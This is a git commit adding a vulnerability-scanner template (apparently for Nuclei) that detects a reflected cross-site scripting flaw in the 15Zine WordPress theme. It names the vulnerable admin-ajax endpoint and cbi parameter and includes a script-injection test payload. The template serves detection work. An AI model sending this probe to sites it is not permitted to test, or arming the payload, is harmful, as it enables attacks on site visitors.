Added 15Zine-xss.yaml

patch-1
Veshraj Ghimire 2022-05-11 12:15:49 +05:45 committed by GitHub
parent 03697ed21a
commit efd39e557e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
id: 15Zine-xss
info:
name: 15Zine < 3.3.0 - Reflected Cross-Site Scripting
author: veshraj
severity: medium
description: The theme does not sanitise and escape the cbi parameter before outputing it back in the response via the cb_s_a AJAX action, leading to a Reflected Cross-Site Scripting
reference:
- https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95
tags: xss,wordpress,wp-plugin,wp
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=<script>alert(/XSS/);</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(/XSS/);</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200